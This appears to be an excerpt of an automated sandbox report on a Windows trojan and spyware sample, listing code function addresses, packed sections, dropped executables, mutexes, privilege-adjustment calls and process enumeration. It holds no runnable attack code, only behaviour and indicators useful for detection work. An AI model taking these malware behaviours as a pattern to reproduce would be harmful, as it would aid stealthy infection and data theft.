Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2C746	8_2_05E2C746
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6F74A	8_2_05E6F74A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E30757	8_2_05E30757
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E69F5F	8_2_05E69F5F
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E23F58	8_2_05E23F58
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4EF21	8_2_05E4EF21
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E16735	8_2_05E16735
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E64731	8_2_05E64731
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3F73A	8_2_05E3F73A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4573B	8_2_05E4573B
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E63F0A	8_2_05E63F0A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E20F0F	8_2_05E20F0F
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E47EED	8_2_05E47EED
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E476C6	8_2_05E476C6
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E58EC6	8_2_05E58EC6
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2DEC9	8_2_05E2DEC9
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4FEC8	8_2_05E4FEC8
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E41ED3	8_2_05E41ED3
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E5F6DD	8_2_05E5F6DD
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E16EDA	8_2_05E16EDA
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E45EAE	8_2_05E45EAE
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E66EAC	8_2_05E66EAC
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3EEBC	8_2_05E3EEBC
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E1FE84	8_2_05E1FE84
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E27E8E	8_2_05E27E8E
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2FE93	8_2_05E2FE93
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E31E62	8_2_05E31E62
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E5E66F	8_2_05E5E66F
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4C67C	8_2_05E4C67C
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E5467D	8_2_05E5467D
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E25648	8_2_05E25648
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E28E4F	8_2_05E28E4F
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E42E56	8_2_05E42E56
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2EE21	8_2_05E2EE21
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E61625	8_2_05E61625
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6BE25	8_2_05E6BE25
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E36603	8_2_05E36603
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E18603	8_2_05E18603
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4DE01	8_2_05E4DE01
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E65E03	8_2_05E65E03
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E5EE14	8_2_05E5EE14
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E54E12	8_2_05E54E12
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3861B	8_2_05E3861B
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4661E	8_2_05E4661E
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2761D	8_2_05E2761D
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E699E3	8_2_05E699E3
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E1A1F3	8_2_05E1A1F3
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6B9F2	8_2_05E6B9F2
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E421CC	8_2_05E421CC
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E5C1C9	8_2_05E5C1C9
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E561D5	8_2_05E561D5
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4D9D7	8_2_05E4D9D7
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E1C9D7	8_2_05E1C9D7
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E271DE	8_2_05E271DE
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E5D9A6	8_2_05E5D9A6
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E469BB	8_2_05E469BB
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3118B	8_2_05E3118B
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E16188	8_2_05E16188
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3518A	8_2_05E3518A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E5398F	8_2_05E5398F
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E35992	8_2_05E35992
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E68195	8_2_05E68195
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E19196	8_2_05E19196
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E24999	8_2_05E24999
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3E99C	8_2_05E3E99C
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4C977	8_2_05E4C977
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4797E	8_2_05E4797E
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E38941	8_2_05E38941
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6914C	8_2_05E6914C
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E67154	8_2_05E67154
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E49157	8_2_05E49157
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E57121	8_2_05E57121
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E0E128	8_2_05E0E128
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E5692D	8_2_05E5692D
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2B928	8_2_05E2B928
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E36130	8_2_05E36130
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E34936	8_2_05E34936
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6E10A	8_2_05E6E10A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E66110	8_2_05E66110
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E638E2	8_2_05E638E2
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E620F7	8_2_05E620F7
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3C0F5	8_2_05E3C0F5
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6C8FB	8_2_05E6C8FB
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E338C3	8_2_05E338C3
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E180D0	8_2_05E180D0
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E228D6	8_2_05E228D6
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E1D8AA	8_2_05E1D8AA
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E390AF	8_2_05E390AF
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6F8A9	8_2_05E6F8A9
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2A861	8_2_05E2A861
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2B06A	8_2_05E2B06A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E37076	8_2_05E37076
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4407E	8_2_05E4407E
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4107B	8_2_05E4107B
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2204B	8_2_05E2204B
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4F850	8_2_05E4F850
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E7085A	8_2_05E7085A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3A02A	8_2_05E3A02A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4B835	8_2_05E4B835
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E38014	8_2_05E38014
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4381C	8_2_05E4381C
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E593E3	8_2_05E593E3
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4FBED	8_2_05E4FBED
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6F3F5	8_2_05E6F3F5
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E443F0	8_2_05E443F0
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2F3FD	8_2_05E2F3FD
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E68BC2	8_2_05E68BC2
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3BBC9	8_2_05E3BBC9
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E1C3CA	8_2_05E1C3CA
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2A3C9	8_2_05E2A3C9
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E523AC	8_2_05E523AC
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3A3AE	8_2_05E3A3AE
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6EBA8	8_2_05E6EBA8
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E513BD	8_2_05E513BD
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E603BD	8_2_05E603BD
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E66B8E	8_2_05E66B8E
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E0C39A	8_2_05E0C39A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E25B63	8_2_05E25B63
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3FB61	8_2_05E3FB61
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E57B7B	8_2_05E57B7B
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E1734D	8_2_05E1734D
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4F35B	8_2_05E4F35B
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4E325	8_2_05E4E325
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3F333	8_2_05E3F333
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E64337	8_2_05E64337
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E53303	8_2_05E53303
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E51B0D	8_2_05E51B0D
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E26311	8_2_05E26311
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E54316	8_2_05E54316
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2B31A	8_2_05E2B31A
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E4031B	8_2_05E4031B
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E412E8	8_2_05E412E8
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E232EC	8_2_05E232EC
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E192F2	8_2_05E192F2
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E202C4	8_2_05E202C4
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E482C8	8_2_05E482C8
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E502D7	8_2_05E502D7
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2C2DA	8_2_05E2C2DA
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E452A2	8_2_05E452A2
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E28ABA	8_2_05E28ABA
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E432BE	8_2_05E432BE
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E60AB9	8_2_05E60AB9
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E65A8C	8_2_05E65A8C
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E55288	8_2_05E55288
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2829C	8_2_05E2829C
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E50A64	8_2_05E50A64
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E45A66	8_2_05E45A66
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E5E260	8_2_05E5E260
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E59242	8_2_05E59242
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6CA4E	8_2_05E6CA4E
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E27A56	8_2_05E27A56
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E61250	8_2_05E61250
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E6625B	8_2_05E6625B
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E36A21	8_2_05E36A21
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E39A2D	8_2_05E39A2D
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E66A35	8_2_05E66A35
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E29202	8_2_05E29202
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E70A03	8_2_05E70A03
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E61A00	8_2_05E61A00
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E2D209	8_2_05E2D209
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E68A08	8_2_05E68A08
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E57A17	8_2_05E57A17
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Code function: 8_2_05E3AA1D	8_2_05E3AA1D
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006DBF40	11_2_006DBF40
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006D8060	11_2_006D8060
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00742046	11_2_00742046
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00738298	11_2_00738298
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0070E4FF	11_2_0070E4FF
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0070676B	11_2_0070676B
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00764873	11_2_00764873
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006DCAF0	11_2_006DCAF0
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006FCAA0	11_2_006FCAA0
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006ECC39	11_2_006ECC39
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00706DD9	11_2_00706DD9
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006EB119	11_2_006EB119
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006D91C0	11_2_006D91C0
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F1394	11_2_006F1394
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F1706	11_2_006F1706
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F781B	11_2_006F781B
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006E997D	11_2_006E997D
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006D7920	11_2_006D7920
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F19B0	11_2_006F19B0
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F7A4A	11_2_006F7A4A
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F1C77	11_2_006F1C77
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F7CA7	11_2_006F7CA7
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0075BE44	11_2_0075BE44
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00709EEE	11_2_00709EEE
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F1F32	11_2_006F1F32

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: String function: 006F0A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: String function: 006EF9F2 appears 31 times

Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7564 -s 1616

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9977914254087193
Source: file.exe	Static PE information: Section: olvlyudu ZLIB complexity 0.9941417701920258
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9977914254087193
Source: skotes.exe.0.dr	Static PE information: Section: olvlyudu ZLIB complexity 0.9941417701920258
Source: random[1].exe.6.dr	Static PE information: Section: arcbojaz ZLIB complexity 0.9945661756727431
Source: e6b1d28aa7.exe.6.dr	Static PE information: Section: arcbojaz ZLIB complexity 0.9945661756727431
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9974087252475248
Source: random[1].exe0.6.dr	Static PE information: Section: saixhvao ZLIB complexity 0.9944940757175227
Source: 2bfd73b1c9.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974087252475248
Source: 2bfd73b1c9.exe.6.dr	Static PE information: Section: saixhvao ZLIB complexity 0.9944940757175227
Source: random[1].exe1.6.dr	Static PE information: Section: bvkzsckp ZLIB complexity 0.9949526579483695
Source: 0a29ef6c7c.exe.6.dr	Static PE information: Section: bvkzsckp ZLIB complexity 0.9949526579483695

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@129/41@109/26

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_007437B5 GetLastError,FormatMessageW,

11_2_007437B5

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_007310BF AdjustTokenPrivileges,CloseHandle,		11_2_007310BF
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_007316C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		11_2_007316C3

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_007451CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

11_2_007451CD

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_0073D4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

11_2_0073D4DC

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_0074648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

11_2_0074648E

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_006D42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

11_2_006D42A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7564
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1592:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7940:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8120:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
